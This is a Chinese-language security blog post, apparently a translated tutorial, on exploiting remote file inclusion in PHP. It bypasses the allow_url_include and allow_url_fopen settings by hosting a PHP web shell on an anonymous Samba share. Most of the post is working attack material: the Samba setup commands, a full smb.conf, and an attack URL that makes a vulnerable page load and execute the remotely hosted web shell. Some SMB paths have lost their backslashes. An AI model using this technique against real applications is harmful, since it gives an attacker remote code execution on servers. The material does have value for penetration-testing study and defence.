![83a3889ba84a62f06d6e6cab3292fc94.png](https://i-blog.csdnimg.cn/blog_migrate/a77ba5d05d9ee5f637ccbd898a2f5154.jpeg)
在这篇博客文章中,我将演示在PHP应用程序中利用远程文件包含(RFI)漏洞的技术,该漏洞容易受到“文件包含攻击”的影响。我们将绕过远程URL包含限制,并执行RFI的开发,即使PHP环境配置为不包含来自远程HTTP/FTP URL的文件。
PHP和SMB共享文件访问
在PHP配置文件中,“allow_url_include”包装器默认设置为“Off”,表示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止SMB URL加载。PHP的这种行为可以被滥用来从SMB共享加载远程托管的PHP web shell。
攻击场景
当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP web shell时,SMB共享应该允许访问该文件。攻击者需要将SMB服务器配置为启用匿名浏览访问。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP web shell,SMB服务器将不会要求任何凭据,易受攻击的应用程序将包含web shell的PHP代码。
让我们开始吧,首先我重新配置了PHP环境,并在php.ini文件中禁用“allow_url_fopen”以及“allow_url_include”。然后配置SMB服务器具有匿名读访问权限。一旦SMB共享准备就绪,就可以利用易受攻击的应用程序。
PHP环境设置
在其上托管易受攻击代码的机器将“allow_url_fopen”和“allow_url_include”设置为“Off”。
PHP版本“5.5.11”的当前配置的屏幕截图:
![c6220865be59502bf1fae19b3e7cb507.png](https://i-blog.csdnimg.cn/blog_migrate/6b3f45e7df2e1932e4dd370868cf3ad7.jpeg)
在继续之前,首先确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。
![7642d500e396109848a6f7e00cd89f82.png](https://i-blog.csdnimg.cn/blog_migrate/4d75bf1bcf87551719cbbdbd1af6a8c0.jpeg)
当我试图从远程主机包含PHP Web shell时,应用程序抛出错误,RFI没有发生。
使用匿名读取访问权限配置SAMBA服务器(Linux计算机)
使用下面提到的命令安装SAMBA服务器:
apt-get install samba
创建SMB共享目录(在本文中是/var/www/html/pub/)
mkdir /var/www/html/pub/
![a8cfacb446686018c6eb0755217ae640.png](https://i-blog.csdnimg.cn/blog_migrate/18dc0caabfc30c974448e2cb540989b5.jpeg)
在新创建的SMB共享目录上配置权限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
![ca168d55109ecb68c6816c65e323be34.png](https://i-blog.csdnimg.cn/blog_migrate/02192bd5a7860052cf980ea240340c74.jpeg)
运行以下命令删除SAMBA服务器配置文件的默认内容
echo > /etc/samba/smb.conf
将下面的内容放入“/etc/samba/smb.conf”文件中
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
现在,重启SAMBA服务器以应用配置文件/etc/samba/smb.conf中的新配置
service smbd restart
成功重启SAMBA服务器后,尝试访问SMB共享,并确保SAMBA服务器不要求凭据。
在本文中,SAMBA服务器IP是192.168.0.3,我需要访问Windows文件资源管理器中的SMB共享, 如下所述:
192.168.0.3
![96f0880300dea78ff315401254accdd8.png](https://i-blog.csdnimg.cn/blog_migrate/85997a71124470be4a0e96dc0524679f.jpeg)
在SMB共享中托管PHP Web shell
很好,SMB共享是可访问的,并显示目录“ica”是存在的。
现在,在目录“/var/www/html/pub”中托管PHP shell,这是SMB共享“ica”的目录。
![5ec2562baaada79c3d8245e4df902845.png](https://i-blog.csdnimg.cn/blog_migrate/26f534ec70a7338c0b2f53ccc5bc42c7.jpeg)
一旦我们在目录“/var/www/html/pub”中有了PHP shell,就可以使用Windows文件资源管理器访问SMB共享目录'ica'。
192.168.0.3ica
您将看到PHP shell存在是SMB共享目录。在本文中,它是box.php
![c81c2b1b637ed5fcaad4b39b281b2c49.png](https://i-blog.csdnimg.cn/blog_migrate/158087622114f545f194ea71ffd9abf0.jpeg)
攻击文件包含易受攻击的参数
完美,让我们使用这个PHP shell SMB链接,并使用易受攻击的PHP代码浏览它。
http://vulnerable_application/page.php?page=192.168.0.3icabox.php
当当!易受攻击的PHP代码从SMB共享中获取Web shell,并在应用程序服务器上执行代码。我们已经绕过了限制,并包含了托管在远程主机上的Web shell。
![08dc7ab87a692ef81578d5f07c3c5e30.png](https://i-blog.csdnimg.cn/blog_migrate/0d858e40dd5da062a87fd6b09dfde201.jpeg)
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场